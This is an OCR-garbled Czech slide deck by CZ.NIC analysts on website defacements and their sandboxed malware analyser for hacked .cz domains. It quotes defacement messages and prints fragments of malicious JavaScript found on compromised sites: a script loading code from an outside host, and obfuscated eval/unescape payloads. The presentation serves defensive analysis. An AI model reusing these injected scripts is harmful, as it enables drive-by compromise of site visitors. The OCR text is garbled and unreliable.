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Den analytika

Prace s vyhledavacem skodlivého kodu

Edvard Rejthar ° edvard.rejthar@nic.cz » 31.05.2016
Véra Mikusova ¢ vera.mikusova@nic.cz
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Typy defacementu

.Informace o:

 nabozenstvi
 hackerovi
 skupiné

-Upozorneni na slabé zabezpeceni
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Team Emirates
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All Those Crime is Against Muslims You Can Google it
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The site is under my feet and under my
control

We Will Never Stop Hacking Because It's
Not A Game, It's Our Job

Hacked bv ZAWAI.TI FHAI.



hacked by achraf dz
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Aleppo Is Burning
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HaCkeD By BALA SNIPER

Long Live to peshmarga

KurDish HaCk3rS WaS Here
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Hacked By UstadCage_ 48
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HaCkeD by BoYKa

BoYKa was here
boykaa2016@gmail.com

GreeTz 2 := TaRzAN | LaMbA | BeDo | injector | Alarg53 | AlFeRoX and all my friends....







Hacked by Unknown
Hello Sir
It does not matter who I am.

L just tried you.

I hope more for the security of your site.
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Iwisnu4@4 | Sickpeoples | Garuda Luka | Svn_nevermore | TuSb@al3d | Shorcut |




SPRAVCE

DOMENY CZ

- [ & . & ™ & - - ] ] & - [] ] L] & - - [ ] » . - & [ @ C z n I C
& L] . - ] - ] . L] - L - . L] L] L] L L [ ] L] L ] e ] - L] .




Prace s defacementy
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ProC se defacementy zabyvame

-DalSi vyuziti zranitelnosti
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Co se na strance vsechno semele

var a=";setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!
==0||document.referrer!'==undefined||document.referrer!=="||document.referrer!==null)
{document.write('<script type="text/javascript" src="http://wintzrayfuneralhome.

com/js/jquery.min.p h P?c_utt=J18171&c_utm="+encodeURIComponent('http:
llwintzrayfuneralhome.com/js/jquery.min.
php'+'?'+'default_keyword="+encodeURIComponent(((k=(function(){var keywords=";var
metas=document.getElementsByTagName('meta’);if(metas){for(var x=0,y=metas.length;
x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}
return keywords!=="?keywords:null;})())==null?(v=window.location.search.match
(/utm_term=([*&]+)/))==null?(t=document.title)==null?":t:v[1]:k))
+'&se_referrer="+encodeURIComponent(document.referrer)
+'&source="+encodeURIComponent(window.location.host))+"><"+"/script>");}</script>
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Co dela admin
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Co dela admin

Mahlware domain manager
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Postavili jsme si analyzeér

Mahvarse domsain manager Analysis machine
Hacked domain e Sandboxed Firefox
POISOM,
W 1 VAN
2 | (-’ 4 X
% ; |
: MDM webserver i '| Virtual tester
_)' i wehsewer
administrator |
v ) x Analrsls metadata
CINIC Internal domain registry L storage
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Prace s analyzérem — hlavni menu

|

Upravit vybrané ~ Vybrat vie Odznaéit vie Invertovat vybér
Doména | .Typ | Souéasné hrozby .Neimvﬁjéi,tu‘a;ha -Edrnji
281 G CZ malware 98 2015-01-09 11:53:12 .;_]
e .CZ malware 81 2015-01-09 11:53:04 *3
&7 malware 122 2015-01-09 11:52:43 L |
(e .CZ malware 25 2015-01-09 11:52:26 ;_]
o malware 1 2015-01-09 11:52:16 2 |
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Vysledek analyzy

Analyza v 1 Soucasné hrozby 2 Historie 3 Korespondence 4 (pocet: 9, dnii: 393, w) Whois 6

| |

MDMaug analyza

c-168¢72¢c40¢c-40c0cB64c-104c-4¢c1 2¢32¢-72¢184¢c-84c68¢-32¢-116¢80cBc-8c-32¢c4¢c0c52¢32¢-
164¢0c80cBc0c-72¢20¢c-32¢1 40c4c-100¢-40¢1 36¢-104c-32¢168¢-24¢-140¢76c0c-76¢c4c-Bcl 48¢-
128c60c-32¢-56¢40c32¢84c-128c-16c28c84c64c-180c44c-48c44c-32¢64c28c-12¢c64c-
line.de| 108c104c20c-96¢104¢-168¢-8¢148¢-44¢-72¢136¢-136¢-4c4¢-24¢24¢40¢104¢-160¢84c¢-
32c-36c148c0c-180c64c36c52¢-108c104c20c-86c104c-168c-8c1 48¢-24¢c-44c88c-136c40c-40c48c-
16c-48¢c84c-104c32c1 40c-88¢-72c32¢32¢-72¢100¢52¢-108c104c20c-86¢104c-168c-8¢1 48c-

.- 140c-8c44c2Bc-56084¢28c-28¢52¢-108¢104c20c-96¢104c-168c-8¢c148¢-76¢c8c44c¢-108c84c28¢-
28c52¢-108c104¢20c-168¢72¢c40c¢-40c0c64c-104c-4c1 2c32¢-72c184¢-84c60c-128c1 48c-
108¢-4¢32¢8¢-8¢88¢-80¢-28¢-12¢64¢-108c104¢20¢-168¢72¢40¢-40c0c64c-104c-4¢c12¢32¢-
72c184c-84c-32¢-68c32¢-28¢c64c4c28c8c-8c88¢-60c-28¢-12¢64¢-100c0c0c1 28¢-100¢c-60c20¢8c-

T A U 48c64cBc76c-144c-4c72c4c-68c-BcdBc-48c64cB8c96c-48c56¢c-44¢-136¢cBc20c-28¢52¢c-48¢1 84c-
S 84c-72¢52¢100¢-4c-76¢-12¢-28c68c36¢-16¢-152¢128c0c-124c64c116¢-8c-104¢-36¢-24¢1 72c4c-
./ I?O;fllgcm-l (E:};:0032 ‘2}:?1.: -a“urr;r eReéerenceErr".m(plar%e(k.r‘;a o ; A
_ el.chi es[1].nodeValue);e=Function("ret" pau)();ar2=ar2.split("c");a ="60"
Wy e s="";pos=0;i=0;while(i<585){e('po’.concat('s =par’,'selnt(k’ .rep' lace("R’,‘eferen’,","0a’,'sd"))
o ''ar2[",'i)/),'d));e('s =ar.substr(pos,1)');i ;} e(s);
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' reanalyze '

SN o+ X ) | [ JFE-E0



Google Transparency Report

Domovska stranka Provoz  Zadosti o odstranéni obsahu  Bezpeénost a ochrana soukromi

Zadosti o informace uZivateld

Piehled

Panel malwaru
Stav webu
Poznamky

Casté dotazy

Bezpecné prohlizeni Bezpeénégjsi e-mail HTTPS

Stav webu podle Bezpecného prohliZeni

Technologie Bezpeéné prohlizeni Google denné kontroluje miliardy adres URL a hleda nebezpeéné stranky.
Kazdy den nalézame tisice novych nebezpeénych stranek — €¢asto se jedna o legitimni weby, kieré byly
prolomeny. KdyZ nalezneme nebezpeéné stranky, zobrazujeme u nich ve Vyhledavani Google a webovych
prohlize€ich upozornéni. Checete-li zjistit, zda je aktualné nebezpeéné navstivit uréité webové stranky, mizete je
vyhledat.

Stav stranek: kalmus.cz ‘“

Aktualni stav: O Castetné nebezpetny

Navstéva nékterych stranek na webu kalmus.cz v této chvili neni bezpeéna.
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Vsledek analyzy

H Analyza v 1 ‘ Soucasné hrozby 2 Historie 3 Korespondence 4 (pocet: 4, dnii: 623, w) Status 5 Whois 6 w

MDMaug analyza http://www.divadlo-kutnahora.cz/interier-divadla/?nggpage=2&
show=gallery

# www.divadlo-kutnahora.cz

» /wp-content/uploads/2011/10/tylovo-divadio2.png

* /wp-content/themes/divadlo-kutna-hora/images/bkg_sidebar_li.jpg Pgrrmnry

= /wp-content/gallery/interier/thumbs/thumbs_16.jpg it oML . AT

» /wp-content/plugins/nextgen-gallery/css/nggallery.css?ver=1.0.0 (N

= /wp-content/themes/divadlo-kutna-hora/images/bkg_line_reportaze.jpg

» /wp-content/gallery/interier/thumbs/thumbs_13.jpg

» [interier-divadla/?nggpage=2&show=gallery spy
unescape "%66%75%6e%63%74%69%6f%6e%20%62%36%32%38%32%34%32%33%66%28%73%29%20%7b%0a

@ INTERIER DIVADLA & TROCRAM K

Coonlal L PAE

role

R et I

ekl S
%09%76%61%72%20%72%20%3d%20 , A
eval "function b6282423f(s) {\n\tvar r = \"\";\n\tvar tmp = s.split(\"18169547\");\n\ts = unescape(tmp[0] , [
unescape "%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%62%36%32%38%32%34%32%33%66
2%28%27" , : Tylo
unescape "%27%29%29%3b" ,
eval "document.write(b6282423f('%37%62%5b%61%62%64%62%12%6C%75%67%5d%3d% 1d%63%5d%67%69 STaln IERROM.
% 25%68%5d% 6a%5d%6a% ,

unescape "%37%62%5b%61%62%64%62%12%6C%75%67%5d%3d%1d%63%5d%67%69%25%68% 5d%6a%5d%6a
%5b%60%64%6f%6a%11%15%69%60 ,

unescape "%34%38%31%38%32%33%39575019" ,

unescape "%66%75%6e%63%74%69%6f%6e%20%71%30%31%31%62%33%31%33%35%65%28%73%29%20%7b
2% 0a%09%76%61%72%20%72%20%3d ,

eval "function g011b3135e(s) {\n\tvar r = \"\";\n\tvar tmp = s.split(\"12634807\");\n\ts = unescape(tmp[0

ZA TIMAN
MisTA Il
=

. mterier—diuadIa,-‘?nggpage:2&sh0w:galleryg i

» /wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.js?ver=1.3.3->
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Dekujeme za pozornost

Edvard Rejthar ° edvard.rejthar@nic.cz
Véra Mikusova - vera.mikusova@nic.cz
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